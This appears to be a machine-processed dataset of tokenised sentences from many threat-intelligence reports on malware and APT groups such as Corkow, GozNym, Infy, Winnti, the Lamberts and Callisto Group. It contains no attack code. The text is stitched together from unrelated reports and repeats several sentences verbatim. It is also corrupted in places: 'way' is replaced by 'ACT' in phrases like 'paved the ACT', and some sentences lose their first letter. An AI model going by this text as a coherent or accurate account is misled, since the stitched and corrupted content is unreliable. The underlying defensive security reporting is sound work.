In August 2015 a new incident related to the Corkow ( Metel ) Trojan was detected .
Corkow provided remote access to the ITS-Broker system terminal by 《 Platforma soft 》 Ltd. , which enabled the fraud to be committed .
According to our statistics , as of the beginning of 2015 this botnet encompassed over 250 000 infected devices worldwide including infecting more than 100 financial institutions with 80% of them from the top 20 list .
The interest among hackers in targeting trading systems is expected to grow .
Russian-speaking hackers are believed to be responsible for these attacks and used the Corkow Trojan .
Hackers target primarily companies in Russia and CIS countries , though it is noticed that the amount of attacks targeting the USA has increased 5 times since 2011 .
One of the first botnets specializing in targeting the trading software called Quik was " Ranbyus " , created in 2012 .
As of the Group-IB investigation of this malware program in March 2015 , Corkow v.7.118.1.1 had not been detected by a single antivirus program .
Hackers gained access to a computer in the trading system in September 2014 .
Starting in December 2014 , the criminal group began running keyloggers in the infected system .
To spread the Corkow malware criminals use a drive-by downloads method , when victims are infected while visiting compromised legitimate websites .
Group-IB specialists detected various sites used by criminals to spread the Trojan : mail tracking websites , news portals , electronic books , computer graphics resources , music portals , etc .
Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users .
Group-IB Bot-trek TDS sensors are in place at a number of financial institutions and , unfortunately , we register that currently Corkow malware is present on 80% of protected corporate systems .
Considering the Trojan delivery method and through our analysis of infections on banks' networks , we can confirm that all infections were conducted on a random basis .
According to statistics , Corkow primarily targets users in Russia and the CIS , but it is worth noting that in 2014 the amount of attacks targeting the USA increased by 5 times , in comparison with 2011 .
Moreover , the number of Corkow incidents detected in Q1 2015 in the United States exceeds the number of those in the CIS countries .
Moreover , the number of Corkow incidents detected in Q1 2015 in the United States exceeds the number of those in the CIS countries .
Hackers first actively spread bots using the Niteris exploit , and then search for infected devices at banks amongst their bots by analyzing IP addresses , cracked passwords and results of the modules performance .
In addition to the legitimate AmmyAdmin tool , the hackers used Visconti Backdoor developed based on legitimate RMS ( remote manipulator system ) software .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
To obtain logins and passwords they applied keyloggers built into Corkow , as well as a commonly used feature of Mimikatz , dumping clear text Windows credentials from LSA .
Hackers used the remote access to detect servers of their interest in the internal network .
In 2015 , the Metel gang began to target banks and financial institutions directly .
Metel is a banking Trojan ( also known as Corkow ) discovered in 2011 when it was used to attack users of online banking services .
After the infection stage , criminals move laterally with the help of legitimate and pentesting tools , stealing passwords from their initial victims ( entry point ) to gain access to the computers within the organization that have access to money transactions .
With this level of access , the gang has been able to pull off a clever trick by automating the rollback of ATM transactions .
COVELLITE operates globally with targets primarily in Europe , East Asia , and North America .
US targets emerged in September 2017 with a small , targeted phishing campaign directed at select U.S. electric companies .
LAZARUS GROUP is responsible for attacks ranging from the 2014 attack on Sony Pictures to a number of Bitcoin heists in 2017 .
Technical analysis of COVELLITE malware indicates an evolution from known LAZARUS toolkits .
COVELLITE remains active but appears to have abandoned North American targets , with indications of activity in Europe and East Asia .
Given the group 's specific interest in infrastructure operations , rapidly improving capabilities , and history of aggressive targeting , Dragos considers this group a primary threat to the ICS industry .
Delivering a backdoor and spyware , this campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
Lookout researchers have discovered a new mobile surveillanceware family , FrozenCell .
The threat is likely targeting employees of various Palestinian government agencies , security services , Palestinian students , and those affiliated with the Fatah political party .
Delivering a backdoor and spyware , Desert Falcons 's campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
FrozenCell is the mobile component of a multi-platform attack we've seen a threat actor known as " Two-tailed Scorpion/APT-C-23 " , use to spy on victims through compromised mobile devices and desktops .
This threat is another proof point that attackers are clearly incorporating the mobile device into their surveillance campaigns as a primary attack vector .
Desert Falcons is keenly aware of the information they can derive from these devices and are using multi-stage ( phishing + an executable ) , multi-platform ( Android + desktop ) attacks to accomplish their spying .
FrozenCell masquerades as fake updates to chat applications like Facebook , WhatsApp , Messenger , LINE , and LoveChat .
For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .
It appears the Desert Falcons sent malicious executables though phishing campaigns impersonating individuals associated with the Palestinian Security Services , the General Directorate of Civil Defence - Ministry of the Interior , and the 7th Fateh Conference of the Palestinian National Liberation Front ( held in late 2016 ) .
The titles and contents of these files suggest that the actor targeted individuals affiliated with these government agencies and the Fatah political party .
We believe that this is a new variant of VAMP , indicating that the threat actors behind APT-C-23 are still active and continuously improving their product .
VAMP targeted various types of data from the phones of victims : images , text messages , contacts , and call history , among others .
Recently , Trend Micro researchers came across a new mobile malware family which we have called GnatSpy .
On Nov. 27 , 2018 , Cisco 's Talos research division published a write-up outlining the contours of a sophisticated cyber espionage campaign it dubbed DNSpionage .
Talos said the perpetrators of DNSpionage were able to steal email and other login credentials from a number of government and private sector entities in Lebanon and the United Arab Emirates by hijacking the DNS servers for these targets , so that all email and virtual private networking ( VPN ) traffic was redirected to an Internet address controlled by the attackers .
Talos reported that these DNS hijacks also paved the ACT for the attackers to obtain SSL encryption certificates for the targeted domains ( webmail.finance.gov.lb ) , which allowed them to decrypt the intercepted email and VPN credentials and view them in plain text .
That changed on Jan. 25 , 2019 , when security firm CrowdStrike published a blog post listing virtually every Internet address known to be ( ab )used by the espionage campaign to date .
Working backwards from each Internet address , I was able to see that in the last few months of 2018 the hackers behind DNSpionage succeeded in compromising key components of DNS infrastructure for more than 50 Middle Eastern companies and government agencies , including targets in Albania , Cyprus , Egypt , Iraq , Jordan , Kuwait , Lebanon , Libya , Saudi Arabia and the United Arab Emirates .
PCH is a nonprofit entity based in northern California that also manages significant amounts of the world 's DNS infrastructure , particularly the DNS for more than 500 top-level domains and a number of the Middle East top-level domains targeted by DNSpionage .
This APT group usually carries out target attacks against government agencies to steal sensitive information .
In addition to spreading malware via spear fishing email with Office attachment containing either vulnerability or malicious macro , this group is particularly good at leveraging malicious Android APKs in the target attacks .
We named the actor DustSquad and have provided private intelligence reports to our customers on four of their campaigns involving custom Android and Windows malware .
In this blogpost we cover a malicious program for Windows called Octopus that mostly targets diplomatic entities .
We also started monitoring the malware and , using Kaspersky Attribution Engine based on similarity algorithms , discovered that Octopus is related to DustSquad , something we reported in April 2018 .
From early 2014 until December 2018 , ns0.idm.net.lb pointed to 194.126.10.18 , which appropriately enough is an Internet address based in Lebanon .
Kaspersky Lab products detect the Octopus Trojan as Trojan.Win32.Octopus.gen .
Political entities in Central Asia have been targeted throughout 2018 by different actors , including IndigoZebra , Sofacy ( with Zebrocy malware ) and most recently by DustSquad ( with Octopus malware ) .
El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here .
We've found that this group has continued to operate successfully , predominantly in Latin America , since 2014 .
All attackers simply moved to new C2 infrastructure , based largely around dynamic DNS domains , in addition to making minimal changes to the malware in order to evade signature-based detection .
In the case of Octopus , DustSquad used Delphi as their programming language of choice , which is unusual for such an actor .
Targets included a wide array of high-profile entities , including intelligence services , military , utility providers ( telecommunications and power ) , embassies , and government institutions .
Some time ago , a Kaspersky Lab customer in Latin America contacted us to say he had visited China and suspected his machine was infected with an unknown , undetected malware .
It was a targeted attack we are calling " Machete " .
At first look , it pretends to be a Java related application but after a quick analysis , it was obvious this was something more than just a simple Java file .
" Machete " is a targeted attack campaign with Spanish speaking roots .
The decoy slideshows all contain photos from very meaningful events to individuals in Thailand , suggesting that the actors continually look for impactful events to use to disguise their attacks .
In some cases , such as Russia , the target appears to be an embassy from one of the countries of this list .
Both attackers and victims speak Spanish natively , as we see it consistently in the source code of the client side and in the Python code .
We are also grateful to the Private Office of his Holiness the Dalai Lama , the Tibetan Government-in-Exile , the missions of Tibet in London , Brussels , and New York , and Drewla ( a Tibetan NGO ) .
Between June 2008 and March 2009 the Information Warfare Monitor conducted an extensive and exhaustive two-phase investigation focused on allegations of Chinese cyber espionage against the Tibetan community .
These instances of Gh0st RAT are consistently controlled from commercial Internet access accounts located on the island of Hainan , People's Republic of China .
The fieldwork generated extensive data that allowed us to examine Tibetan information security practices , as well as capture real-time evidence of malware that had penetrated Tibetan computer systems .
It is therefore possible that the large percentage of high value targets identified in our analysis of the GhostNet are coincidental , spread by contact between individuals who previously communicated through e-mail .
Where they exist , they often use grey market or pirated software .
Contextually relevant emails are sent to specific targets with attached documents that are packed with exploit code and Trojan horse programmes designed to take advantage of vulnerabilities in software installed on the target 's computer .
GhostNet represents a network of compromised computers resident in high-value political , economic , and media locations spread across numerous countries worldwide .
After that , the attacker is capable to control the compromised device .
The computers of diplomats , military attachés , private assistants , secretaries to Prime Ministers , journalists and others are under the concealed control of unknown assailant .
The C&C server ( 82.137.255.56 ) used by the above backdoors was used by APT-C-27 ( Goldmouse ) many times since 2017 .
According to 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor .
The banking malware GozNym has legs ; only a few weeks after the hybrid Trojan was discovered , it has reportedly spread into Europe and begun plaguing banking customers in Poland with redirection attacks .
The APT group is reportedly targeting the Middle East region .
The malware has started targeting corporate , SMB , investment banking and consumer accounts at banks , including some in Portugal and the U.S. , in addition to Poland , according to researchers at IBM 's X-Force team .
According to Kessem the malware has redirection instructions for 17 banks , and features an additional 230 URLs to assist attackers in targeting community banks and email service providers in Poland .
With GozNym , attackers dupe users by showing them the actual bank 's URL and SSL certificate .
Fresh from targeting banks in Poland , the banking Trojan GozNym has begun taking aim at banks in Germany .
Attackers went on to use the Trojan to steal $4 million from 24 banks , including 22 in the United States and two in Canada , in just two weeks .
Recreating and maintaining fake bank sites can be an arduous task , but Kessem claims the GozNym group appears up to the task .
The malware is distributed primarily through laced spam emails that lure recipients into opening attachments .
Fresh from targeting banks in Poland , the banking Trojan has reportedly begun taking aim at banks in Germany .
Now GozNym is now targeting 13 banks and subsidiaries in Germany , Limor Kessem , Executive Security Advisor at IBM , said Tuesday .
he Trojan , a hybrid of Nymaim and Gozi malware , initially formed in April and thrives on carrying out redirection attacks via DNS poisoning .
In April , shortly after the Trojan 's discovery , researchers observed a massive GozNym campaign targeting 24 North American banks .
The method , which technically redirects users through local DNS poisoning , requires a fair bit of work ; recreating and maintaining fake bank sites can be an arduous task , but Kessem claims the group behind GozNym – Nymaim – appear up to the task .
Attackers behind Dyre have used similar tactics in the past but have only deployed their attacks in English speaking countries and Spain .
When we last heard from the Trojan , its operators were seen launching redirection attacks on four large , U.S. banks in June .
The fact that the cybercriminals behind GozNym have already adapted the Trojan for three different languages and in countries which have different banking systems is unique , according to Kessem .
By the end of April , GozNym had redirection instructions for 17 Polish banks in its repertoire , along with an extra 230 URLs designed to assist attackers in targeting community banks and email service providers in the Eastern European country .
Seeking to tease out any possible links between Operation Aurora , VOHO , Operation DeputyDog , and Ephemeral Hydra , we began with Symantec 's Hidden Lynx report as our foundation .
The authors of that report identify three primary tools used in the campaigns attributed to Hidden Lynx : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
We will detail how the C&C infrastructure and tools used by hacker group Hidden Lynx during its VOHO campaign ( 2012 ) , excellently documented by Symantec researchers last September , overlap with tools used in other high profile operations during the past few years .
When the New York Times and Mandiant last year unmasked a large scale Chinese hacking operation , pinpointing its location down to the building , the report drew mainstream attention to what security professionals already well knew : sophisticated threat actors carry out persistent cyber operations over months and years .
By the end of April , GozNym had redirection instructions for 17 Polish banks in its repertoire , along with an extra 230 URLs designed to assist attackers in targeting community banks and email service providers in the Eastern European country .
Using Recorded Future , we quickly built a timeline of the reported use of those tools in major security incidents , finding many events prior to the early 2013 exposé on Hidden Lynx .
In particular , FireEye during the fall of 2013 called out infrastructure overlap between Ephemeral Hydra and DeputyDog .
The above network shows relationships between three tools used by Hidden Lynx during its VOHO campaign : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
Symantec during 2012 linked the Elderwood Project to Operation Aurora ; Trojan.Naid and Backdoor.Moudoor were also used in Aurora , by the Elderwood Gang , and by Hidden Lynx .
In addition to these , we also identified " Macfog " , a native Mac OS X implementation of Icefog that infected several hundred victims worldwide .
Icefog , also known as the " Dagger Panda " by Crowdstrike 's naming convention , infected targets mainly in South Korea and Japan .
In 2013 , a public report reveals a group of actors conducted targeted attacks leverage a malware dubbed ICEFOG against mainly government organizations and defense industry of South Korea and Japan .
Similar to our approach with Symantec 's report on Hidden Lynx , we used Recorded Future to organize the technical details about the DeputyDog attacks to reveal technical information described in the open source reporting across multiple campaigns .
With Javafog , we are turning yet another page in the Icefog story by discovering another generation of backdoors used by the attackers .
Since January 2013 , we've been on the lookout for a possible RedOctober comeback .
One possible hit was triggered when we observed Mevade , an unusual piece of malware that appeared late in 2013 .
In August 2014 , some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware .
It wasn't until August 2014 that we observed something which made us wonder if RedOctober is back for good .
The Cloud Atlas implants utilize a rather unusual C&C mechanism .
We named it RedOctober because we started this investigation in October 2012 , an unusually hot month .
The attackers upload data to the account , which is downloaded by the implant , decrypted and interpreted .
Just like with RedOctober , the top target of Cloud Atlas is Russia , followed closely by Kazakhstan , according to data from the Kaspersky Security Network ( KSN ) .
In May 2015 , Palo Alto Networks WildFire detected two e-mails carrying malicious documents from a genuine and compromised Israeli Gmail account , sent to an Israeli industrial organization .
One e-mail carried a Microsoft PowerPoint file named " thanks.pps " ( VirusTotal ) , the other a Microsoft Word document named " request.docx " .
Around the same time , WildFire also captured an e-mail containing a Word document ( " hello.docx " ) with an identical hash as the earlier Word document , this time sent to a U.S. Government recipient .
attacks using this tool were still active as of April 2016 .
Considering the language being used in the malicious code is Arabic , it seems that the attacker is familiar with Arabic language as well .
The initially-observed " thanks.pps " example tricks the user into running the embedded file named ins8376.exe which loads a payload DLL named mpro324.dll .
In this case , the file used the software name " Cyberlink " , and a description of " CLMediaLibrary Dynamic Link Library " and listing version 4.19.9.98 .
Unit 42 published a blog at the beginning of May titled " Prince of Persia " , in which we described the discovery of a decade-long campaign using a formerly unknown malware family , Infy , that targeted government and industry interests worldwide .
We noted in our original blog the large amount of targeting of Iranian citizens in this campaign , we observed almost one-third of all victims to be Iranian .
In addition to the original " Infy " variant , we also see the newer , more sophisticated , interactive , and fuller-featured " Infy M " variant deployed against apparently-higher-value targets .
This documentation provides new insight into intrusion efforts conducted by at least four discrete Iranian threat actors , Rocket Kitten , Infy , Sima , and Operation Cleaver , including groups and tools that have not been previously disclosed .
Since early 2013 , we have observed activity from a unique threat actor group , which we began to investigate based on increased activities against human right activists in the beginning of 2015 .
Over the course of three years of observation of campaigns targeting civil society and human rights organizations , from records of well over two hundred spearphishing and other intrusion attempts against individuals inside of Iran and in the diaspora , a narrative of persistent intrusion efforts emerges .
Thanks to information we have been able to collect during the course of our research , such as characteristics of the group 's malware and development cycle , our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state .
Amongst a backdrop of other incidents , Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014 , growing in use up to the February 2016 parliamentary election in Iran .
Until the publication of the Palo Alto report , the developers of the Infy appeared to be actively updating and maintaining the codebase , and new releases were distributed to existing , as well as new , targets quite regularly .
Other samples were found bearing a compilation time as early as June 2012 and version 00002 .
Over the months following the elections , the accounts of Iranians that had been compromised by the actors were then used for spreading the malware .
When activities targeting of civil society subsided , the actors instead appeared to have focused on external targets , such a series of attempts to spearphish the Danish Ministry of Foreign Affairs .
Palo Alto Networks has noted and described the differences of two malware agents developed in parallel , with commonalities in behavior but differing functionalities ; families described as Infy and Infy M. Our primary observation was of the Infy ( non-M ) malware , which primarily functions as a keylogger for the collection of account credentials .
Our observation of Infy 's campaigns , primarily through the lens of spearphishing attacks against Iranian civil society and media organizations , indicates a wandering focus on particular demographics on a strategic basis over time .
The Infy malware was seen targeting Iranians again in June 2015 , when it was shared with researchers after being sent to a broadcast journalist at BBC Persian with a generic introduction and a PowerPoint presentation attached titled " Nostalogy " ( sic ) .
Based on information collected in the course of this research , the targets and victims of Infy 's campaigns have continued to be strongly aligned with Iran 's " soft war " agenda , internal security policies , and regional adversaries of the hardline establishment of the Islamic Republic of Iran .
Until late December 2015 , in nearly every Infy message documented since our tracking began in May 2013 , no attempt included strong tailoring of the approach , often not even including an email body , instead relying on cryptic filenames and email subjects to attract interest .
One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran , claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges .
As in the past , these messages have been sent accounts believed to be fake and accounts compromised by Infy , including Kurdish activists that had previously been compromised by the Flying Kitten actor group .
The actors successfully compromised a host of an Saudi government institutions on January 17 , 2016 , and maintained access for at least two weeks .
The Infy group also appears to engage in espionage activities against foreign governments and businesses .
In order to initially compromise the designated targets , Infy typically distributed specifically-crafted malicious documents containing Infy through spearphishing attacks .
In order to initially compromise the designated targets , the attackers typically distributed specifically-crafted malicious documents containing Infy through spearphishing attacks .
On May 2 , 2016 , Palo Alto Networks published the report " Prince of Persia " , which provided the first public and widely-reported indication of Infy 's activities in Iran , while other publications either refrained from making the association or were not openly available .
Prior to the distribution of new versions of the agent , the Infy developers appear to consistently conduct tests from local hosts , which indicates that the control and maintenance of the software occurs in the Khorasan Razavi province of Iran , potentially in the city of Mashhad .
On May 2 , 2016 , Palo Alto published the report " Prince of Persia " , which provided the first public and widely-reported indication of Infy 's activities in Iran , while other publications either refrained from making the association or were not openly available .
Only one client , based in Iran , continued to communicate with the infrastructure .
A researcher has attributed a recently publicized attack on Citrix' internal network to the Iranian-linked group known as IRIDIUM – and said that the data heist involved 6 terabytes of sensitive data .
" IRIDIUM has hit more than 200 government agencies , oil and gas companies and technology companies , including Citrix Systems Inc " , they said .
Citrix told Threatpost that this is indeed the same password-spraying attack it announced itself last week – but it wouldn't confirm the other details in Resecurity 's post , including the attribution .
In wake of these events , a security firm Resecurity reached out to NBC news and claimed that they had reasons to believe that the attacks were carried out by Iranian-linked group known as IRIDIUM .
Resecurity says that IRIDIUM " has hit more than 200 government agencies , oil and gas companies , and technology companies including Citrix .
Resecurity claims that IRIDIUM breached Citrix 's network during December 2018 .
Infy engaged in malware spearphishing against the same targets as Flying Kitten from the outset of its campaign ; Operation Cleaver has registered several resources related to development agencies that have been the subject of intrusion attempts by others since February 2014 .
The malicious samples we found are the early stage malware most often delivered by spear-phishing e-mails .
This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL , depending on the malware sample .
At this stage , the malware gathers information about the infected computer .
Hancom Office is widely used in South Korea .
Perhaps it also points to the suspected North Korean origin of attack .
The attacker is from North Korea .
All of them lie in ranges of the Jilin Province Network and Liaoning Province Network , in China .
Finally , this geo-location supports the likely theory that the attackers behind Kimsuky are based in North Korea .
In this blog , we look at the Winnti malware implant as used by two known activity groups BARIUM and LEAD .
According to the German press , the intruders used the Winnti family of malware as their main implant , giving them persistent access to the conglomerate 's network as early as February 2016 .
In the case of this malware , the activity groups strongly associated with Winnti are BARIUM and LEAD .
But even though they share the use of Winnti , the BARIUM and LEAD activity groups are involved in very different intrusion scenarios .
To show how this breach and similar breaches can be mitigated , we look at how Windows Defender ATP flags activities associated with BARIUM , LEAD , and other known activity groups and how it provides extensive threat intelligence about these groups .
BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms .
During these intrusions , LEAD 's objective was to steal sensitive data , including research materials , process documents , and project plans .
Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles , collaborative document editing sites , and blogs for C&C .
Once BARIUM has established rapport , they spear-phish the victim using a variety of unsophisticated malware installation vectors , including malicious shortcut ( .lnk ) files with hidden payloads .
Instead , the group often simply emails a Winnti installer to potential victims , relying on basic social engineering tactics to convince recipients to run the attached malware .
Microsoft Analytics shows that Winnti has been used in intrusions carried out throughout Asia , Europe , Oceania , the Middle East , and the United States in the last six months ( Figure 1 ) .
Instead , Lead often simply emails a Winnti installer to potential victims , relying on basic social engineering tactics to convince recipients to run the attached malware .
In some other cases , LEAD gains access to a target by brute-forcing remote access login credentials , performing SQL injection , or exploiting unpatched web servers , and then they copy the Winnti installer directly to compromised machines .
This was the case in two known intrusions in 2015 , where attackers named the implant DLL " ASPNET_FILTER.DLL " to disguise it as the DLL for the ASP.NET ISAPI Filter .
Windows Defender ATP helps network security professionals deal with intrusions from activity groups like LEAD and BARIUM in several ACTs .
The following examples were developed using a Winnti installer that was used in attacks in December 2016 .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
LEAD and Barium are not known for large-scale spear-phishing , so it is unlikely that SOC personnel would have to deal with multiple machines having been compromised by these groups at the same time .
And , finally , with the upcoming Creators Update , Windows Defender ATP will provide additional capabilities for detecting threats such as Winnti , as well as centralized response options , such as machine isolation and file blocking , that will enable fast containment of known attack jump off points .
The police suspected Lurk of stealing nearly three billion rubles , using malicious software to systematically withdraw large sums of money from the accounts of commercial organizations , including banks .
When we first encountered Lurk , in 2011 , it was a nameless Trojan .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
This article is an attempt to share this experience with other experts , particularly the IT security specialists in companies and financial institutions that increasingly find themselves the targets of cyber-attacks .
In most cases , the attackers only had to infect the computer on which the RBS software was installed in order to start stealing the cash .
We were soon able to help investigate another incident involving Lurk .
This event significantly affected the Russian cybercriminal world as the gang had stolen hundreds of millions of rubles during a few years of activity , and was considered a " leader " among cybercriminals .
In Russia , there were several relatively large cybercriminal groups engaged in financial theft via attacks on RBS .
In April 2013 , a year after we found the " bodiless " Lurk module , the Russian cybercriminal underground exploited several families of malicious software that specialized in attacks on banking software .
Through the information exchanges used by people in the security industry , we learned that several Russian banks were struggling with malicious programs created specifically to attack a particular type of legal banking software .
If it did , the malware downloaded additional modules , including ones allowing for the automatic creation of unauthorized payment orders , changing details in legal payment orders , etc .
As far as we can judge from the data we have , in 2014 the criminal group behind Lurk seriously reduced its activity and " lived from hand to mouth " , attacking anyone they could , including ordinary users .
In February 2015 , Kaspersky Lab 's Global Research and Analysis Team ( GReAT ) released its research into the Carbanak campaign targeting financial institutions .
Since 2011 , the robbers had allegedly been stealing money directly from bank accounts in Russia and other countries of the Commonwealth of Independent States ( CIS ) by using a Trojan called Lurk .
which they launched targeted attacks against Russian banks , businesses and media companies .
Lurk uses a form of steganography : that's where one file is hidden aACT inside another file of a completely different sort , such as an image , audio , or video file .
The latest version of Madi also has the ability to monitor the Russian social network Vkontakte ( VK ) along with the Jabber messaging platform to look for users who visit websites that contain words like " USA " , " Skype " , and " gov " .
Madi was found capturing computer screens , recording audio and stealing screenshots , keystrokes , documents and e-mail correspondence from " Middle Eastern critical infrastructure engineering firms , government agencies , financial houses and academia .
A timeline of new activity can be scoped out for the group , with the greatest number of related downloaders created by the developers in December 2011 , Feb and March of 2012 , followed by June of 2012 .
it reports to was created on August 10 , 2011 .
Since at least 2008 , The Lamberts have used multiple sophisticated attack tools against high-profile victims .
Longhorn , which we internally refer to as " The Lamberts " , first came to the attention of the ITSec community in 2014 , when our colleagues from FireEye discovered an attack using a zero day vulnerability ( CVE-2014-4148 ) .
The attack leveraged malware we called ' BlackLambert ' , which was used to target a high profile organization in Europe .
Their arsenal includes network-driven backdoors , several generations of modular backdoors , harvesting tools , and wipers .
The first time the Lambert family malware was uncovered publicly was in October 2014 , when FireEye posted a blog about a zero day exploit ( CVE-2014-4148 ) used in the wild .
Interestingly , while most Blue Lambert variants have version numbers in the range of 2.x , Green Lambert is mostly in 3.x versions .
While investigating one of these infections involving White Lambert ( network-driven implant ) and Blue Lambert ( active implant ) , we found yet another family of tools that appear to be related .
Versions of this particular orchestrator were found on other victims , together with White Lambert samples , indicating a close relationship between the White and Pink Lambert malware families .
While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .
This migration activity was last observed in October 2016 .
Most of the Blue and Green Lambert samples have two C&C servers hardcoded in their configuration block : a hostname and an IP address .
Some of the known filenames for Gray Lambert are mwapi32.dll and poolstr.dll – it should be pointed though that the filenames used by the Lamberts are generally unique and have never been used twice .
Black Lambert was seen only briefly and we assume it was " retired " from the arsenal after being discovered by FireEye in 2014 .
The Lamberts toolkit spans across several years , with most activity occurring in 2013 and 2014 .
To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit , deployment of Black Lambert included a rather sophisticated TTF zero day exploit , CVE-2014-4148 .
Taking that into account , we classify the Lamberts as the same level of complexity as Regin , ProjectSauron , Equation and Duqu2 , which makes them one of the most sophisticated Cyber Espionage toolkits we have ever analysed .
Taking that into account , we classify the Lamberts as the same level of complexity as Regin , ProjectSauron , Equation and Duqu2 , which makes them one of the most sophisticated Cyber Espionage toolkits we have ever analysed .
On January 15 , Confiant exposed the activity of the Zirconium group , spreading malicious ads via a network of fake ad agencies through 2017 , in what amounted to the largest malvertising campaign of recent times .
Cadelle , uses Backdoor.Cadelspy .
Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014 , however , it's likely that activity began well before this date .
Chafer , uses Backdoor.Remexi .
Cadelle 's threats are capable of opening a back door and stealing information from victims' computers .
Chafer , uses Backdoor.Remexi.B .
registrant information points to activity possibly as early as 2011 .
These threats are capable of opening a back door and stealing information from victims' computers .
executable compilation times suggest early 2012 .
It's unclear how Cadelle infects its targets with Backdoor.Cadelspy .
The affected organizations we were able to identify are mostly based in the Middle East .
one organization is located in the US .
There are a number of factors in these groups' campaigns that suggests that the attackers may be based in Iran .
Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands .
Their primary interest appears to be gathering intelligence .
This stands in opposition to the data gathered from export timestamps and C&C domain activity that points to Green Lambert being considerably older than the Blue variant .
security policy in the Eastern Europe and South Caucasus regions .
Callisto Group via credential phishingThese spear phishing emails were crafted to appear highly convincing , including being sent from legitimate email accounts suspected to have been previously compromised by the Callisto Group via credential phishing .
In early 2016 the Callisto Group began sending highly targeted spear phishing emails with malicious attachments that contained , as their final payload , the " Scout " malware tool from the HackingTeam RCS Galileo platform .
These spear phishing emails were crafted to appear highly convincing , including being sent from legitimate email accounts suspected to have been previously compromised by the Callisto Group via credential phishing .
Callisto Group appears to be intelligence gathering related to European foreign and security policy .
some indications of loosely linked activity dating back to at least 2013 .
In October 2015 , the Callisto Group was observed sending targeted credential phishing emails .
In early 2016 , the Callisto Group was observed sending targeted spear phishing emails .
The malicious attachments purported to be invitations or drafts of the agenda for the conference .
Based on our analysis of Callisto Group 's usage of RCS Galileo , we believe the Callisto Group did not utilize the leaked RCS Galileo source code , but rather used the leaked readymade installers to set up their own installation of the RCS Galileo platform .
In the known spear phishing attacks by the Callisto Group , they employed the " Scout " malware tool from the RCS Galileo platform .
We are confident the Callisto Group used this type of access to a target 's email account for the purposes of sending spear phishing to other targets .
If a target of the spear phishing described in " Phase 2 : malware deployment " opened the email attachment and , crucially , clicked on the icon in the attachment , this would lead to the target 's computer becoming infected with the " Scout " malware tool from the RCS Galileo platform .
Callisto Group and related infrastructure contain links to at least Russia , Ukraine , and China .
they have been last known to employ malware in February 2016 .
RCS Galileo platform .
The spear phishing emails used in the known attacks by the Callisto Group were so convincing that even skilled and alert users would likely have attempted to open the malicious attachment .
In October 2015 the Callisto Group targeted a handful of individuals with phishing emails that attempted to obtain the target 's webmail credentials .
The Callisto Group has been active at least since late 2015 and continues to be so , including continuing to set up new phishing infrastructure every week .
Called Greenbug , this group is believed to be instrumental in helping Shamoon steal user credentials of targets ahead of Shamoon 's destructive attacks .
On Tuesday , Arbor Networks said that it has new leads on a credential stealing remote access Trojan ( RAT ) called Ismdoor , possibly used by Greenbug to steal credentials on Shamoon 's behalf .
" With our latest research we now see how Greenbug has shifted aACT from HTTP-based C2 communication with Ismdoor .
It's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
t's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
By relying on a native PDF command to navigate to a new URL , Zirconium successfully circumvented Chrome 's anti-redirect protection .
In the context of the Ismdoor RAT , the DNS attack technique is used primarily by Greenbug for stealing credentials .
To do this , it employs a number of specific commands via DNSMessenger .
Iranian Threat Agent Greenbug has been registering domains similar to those of Israeli High-Tech and Cyber Security Companies .
By pivoting off the registration details and servers data of the two domains we discovered others registered by the threat agent .
Named Trochilus , this new RAT was part of Group 27 's malware portfolio that included six other malware strains , all served together or in different combinations , based on the data that needed to be stolen from each victim .
According to the security experts , this collection of malware was discovered after their first initial report was published , meaning that Group 27 ignored the fact they were unmasked and continued to infect their targets regardless , through the same entry point , the Myanmar Union Election Commission ( UEC ) website .
Trochilus RAT activity was discovered during both months of October and November 2015 .
From September 2016 through late November 2016 , a threat actor group used both the Trochilus RAT and a newly idenfied RAT we've named MoonWind to target organizations in Thailand , including a utility organization .
We chose the name ' MoonWind ' based on debugging strings we saw within the samples , as well as the compiler used to generate the samples .
The attackers compromised two legitimate Thai websites to host the malware , which is a tactic this group has used in the past .
Both the Trochilus and MoonWind RATs were hosted on the same compromised sites and used to target the same organization at the same time .
The attackers used different command and control servers ( C2s ) for each malware family , a tactic we believe was meant to thwart attempts to tie the attacks together using infrastructure alone .
Further research led us to additional MoonWind samples using the same C2 ( dns.webswindows.com ) but hosted on a different compromised but legitimate website .
The attacks in that case took place in late September to early October 2016 and the attackers stored the MoonWind samples as RAR files , while in the November attacks the RATs were stored as executables .
